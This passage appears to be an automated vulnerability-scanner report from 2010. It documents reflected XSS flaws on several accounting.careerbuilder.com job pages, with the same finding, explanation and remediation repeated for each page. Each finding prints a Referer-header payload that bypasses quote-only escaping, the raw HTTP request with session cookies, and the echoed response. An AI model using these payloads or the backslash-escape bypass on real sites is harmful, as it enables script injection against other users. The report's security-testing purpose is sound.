The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_AccountsPayable.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=ffdf8\'%3balert(1)//964dda6ef0c
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 175013 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accountspayable.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR12 Date: Sun, 14 Nov 2010 23:15:44 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - ffdf8\\';alert(1)//964dda6ef0c'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cd21d\'%3balert(1)//0eb9870a374 was submitted in the Referer HTTP header. This input was echoed as cd21d\\';alert(1)//0eb9870a374 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_AccountsPayable.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=cd21d\'%3balert(1)//0eb9870a374
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174943 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accountspayable.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR30 Date: Sun, 14 Nov 2010 23:00:14 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - cd21d\\';alert(1)//0eb9870a374'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc7b1\'%3balert(1)//e155036bc0b was submitted in the Referer HTTP header. This input was echoed as cc7b1\\';alert(1)//e155036bc0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_AccountsReceivable.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=cc7b1\'%3balert(1)//e155036bc0b
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174997 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accountsreceivable.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR25 Date: Sun, 14 Nov 2010 23:17:23 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - cc7b1\\';alert(1)//e155036bc0b'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cd0bd\'%3balert(1)//90fb2f6d989 was submitted in the Referer HTTP header. This input was echoed as cd0bd\\';alert(1)//90fb2f6d989 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_AccountsReceivable.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=cd0bd\'%3balert(1)//90fb2f6d989
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 175006 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accountsreceivable.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR24 Date: Sun, 14 Nov 2010 23:00:22 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - cd0bd\\';alert(1)//90fb2f6d989'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2e2e4\'%3balert(1)//02aca8e575c was submitted in the Referer HTTP header. This input was echoed as 2e2e4\\';alert(1)//02aca8e575c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Auditing.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=2e2e4\'%3balert(1)//02aca8e575c
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174727 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_auditing.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR42 Date: Sun, 14 Nov 2010 23:17:12 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 2e2e4\\';alert(1)//02aca8e575c'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64fde\'%3balert(1)//5d5df63807f was submitted in the Referer HTTP header. This input was echoed as 64fde\\';alert(1)//5d5df63807f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Auditing.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=64fde\'%3balert(1)//5d5df63807f
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174783 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_auditing.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR17 Date: Sun, 14 Nov 2010 23:00:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 64fde\\';alert(1)//5d5df63807f'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e8edb\'%3balert(1)//31cc3c490aa was submitted in the Referer HTTP header. This input was echoed as e8edb\\';alert(1)//31cc3c490aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Bookkeeping.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=e8edb\'%3balert(1)//31cc3c490aa
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174915 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_bookkeeping.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR37 Date: Sun, 14 Nov 2010 23:17:23 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - e8edb\\';alert(1)//31cc3c490aa'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8faa8\'%3balert(1)//21801b86e96 was submitted in the Referer HTTP header. This input was echoed as 8faa8\\';alert(1)//21801b86e96 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Bookkeeping.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=8faa8\'%3balert(1)//21801b86e96
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174808 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_bookkeeping.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR2 Date: Sun, 14 Nov 2010 23:00:47 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 8faa8\\';alert(1)//21801b86e96'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 204b3\'%3balert(1)//ea15dcf09e0 was submitted in the Referer HTTP header. This input was echoed as 204b3\\';alert(1)//ea15dcf09e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_CPA.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=204b3\'%3balert(1)//ea15dcf09e0
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174914 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_cpa.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL30 Date: Sun, 14 Nov 2010 23:24:30 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 204b3\\';alert(1)//ea15dcf09e0'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bcce7\'%3balert(1)//9598df8cd85 was submitted in the Referer HTTP header. This input was echoed as bcce7\\';alert(1)//9598df8cd85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_CPA.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=bcce7\'%3balert(1)//9598df8cd85
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174487 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_cpa.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR14 Date: Sun, 14 Nov 2010 23:18:32 GMT Connection: close
